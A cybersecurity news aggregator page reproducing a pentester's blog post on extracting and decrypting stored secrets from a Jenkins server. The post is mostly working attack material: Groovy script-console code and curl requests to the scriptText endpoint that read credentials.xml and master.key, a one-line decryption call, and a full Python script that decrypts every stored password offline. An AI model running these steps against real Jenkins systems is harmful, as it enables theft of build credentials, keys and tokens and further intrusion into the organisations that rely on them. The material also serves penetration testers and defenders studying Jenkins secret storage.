Welcome to our

Cyber Security News Aggregator

.

Cyber Tzar

provide a

cyber security risk management

platform; including automated penetration tests and risk assesments culminating in a "cyber risk score" out of 1,000, just like a credit score.

Jenkins - decrypting credentials.xml

published on 2019-02-28 15:22:00 UTC by Unknown
Content:
If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:

hashed_pw='$PASSWORDHASH'

passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret


Screenshot below


Code to get the credentials.xml from the script console


Windows

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"





If you just want to do it with curl you can hit the scriptText endpoint and do something like this:


Windows:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Also because this syntax took me a minute to figure out for files in subdirectories:


curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run


*nix

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"


Then to decrypt any passwords:


curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"





If you are in a position where you have the files but no access to jenkins you can use:
https://github.com/tweksteen/jenkins-decrypt

There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55.

#!/usr/bin/env python3
import re
import sys
import base64
from hashlib import sha256
from binascii import hexlify, unhexlify
from Crypto.Cipher import AES
MAGIC = b"::::MAGIC::::"
def usage():
print("./decrypt.py <master.key> <hudson.util.Secret> <credentials.xml>")
sys.exit(0)
def decryptNewPassword(secret, p):
p = p[1:] #Strip the version
# Get the length of the IV, almost certainly 16 bytes, but calculating for completeness sake
iv_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff)
# Strip the iv length
p = p[4:]
# Get the data length
data_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff)
# Strip the data length
p = p[4:]
iv = p[:iv_length]
p = p[iv_length:]
o = AES.new(secret, AES.MODE_CBC, iv)
decrypted_p = o.decrypt(p)
# We may need to strip PKCS7 padding
fully_decrypted_blocks = decrypted_p[:-16]
possibly_padded_block = decrypted_p[-16:]
padding_length = possibly_padded_block[-1]
if padding_length < 16: # Less than size of one block, so we have padding
possibly_padded_block = possibly_padded_block[:-padding_length]
pw = fully_decrypted_blocks + possibly_padded_block
pw = pw.decode('utf-8')
return pw
def decryptOldPassword(secret, p):
# Copying the old code, I have not verified if it works
o = AES.new(secret, AES.MODE_ECB)
x = o.decrypt(p)
assert MAGIC in x
print(x)
#return re.findall('(.*)' + MAGIC, x)[0]
def main():
if len(sys.argv) != 4:
usage()
master_key = open(sys.argv[1], 'rb').read()
hudson_secret_key = open(sys.argv[2], 'rb').read()
hashed_master_key = sha256(master_key).digest()[:16]
o = AES.new(hashed_master_key, AES.MODE_ECB)
secret = o.decrypt(hudson_secret_key)
secret = secret[:-16]
secret = secret[:16]
credentials = open(sys.argv[3]).read()
passwords = re.findall(r'<password>\{?(.*?)\}?</password>', credentials)
print(passwords)
# You can find the password format at https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/util/Secret.java#L167-L216
for password in passwords:
p = base64.decodestring(bytes(password, 'utf-8'))
# Get payload version
payload_version = p[0]
if payload_version == 1:
print(decryptNewPassword(secret, p))
else: # Assuming we don't have a V2 payload, seeing as current crypto isn't horrible that's a fair assumption
print(decryptOldPassword(secret,p))
if __name__ == '__main__':
main()
view raw decrypt.py hosted with ❤ by GitHub


Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-)

Edit 8 April 19: This tweet outlines another similar way  
https://twitter.com/netmux/status/1115237815590236160
Article: Jenkins - decrypting credentials.xml - published about 6 years ago.

https://blog.carnal0wnage.com/2019/02/jenkins-decrypting-credentialsxml.html   
Published: 2019 02 28 15:22:00
Received: 2023 03 31 08:24:32
Feed: Carnal0wnage and Attack Research Blog
Source: Carnal0wnage and Attack Research Blog
Category: News
Topic: Hacking
Views: 6

Custom HTML Block

Click to Open Code Editor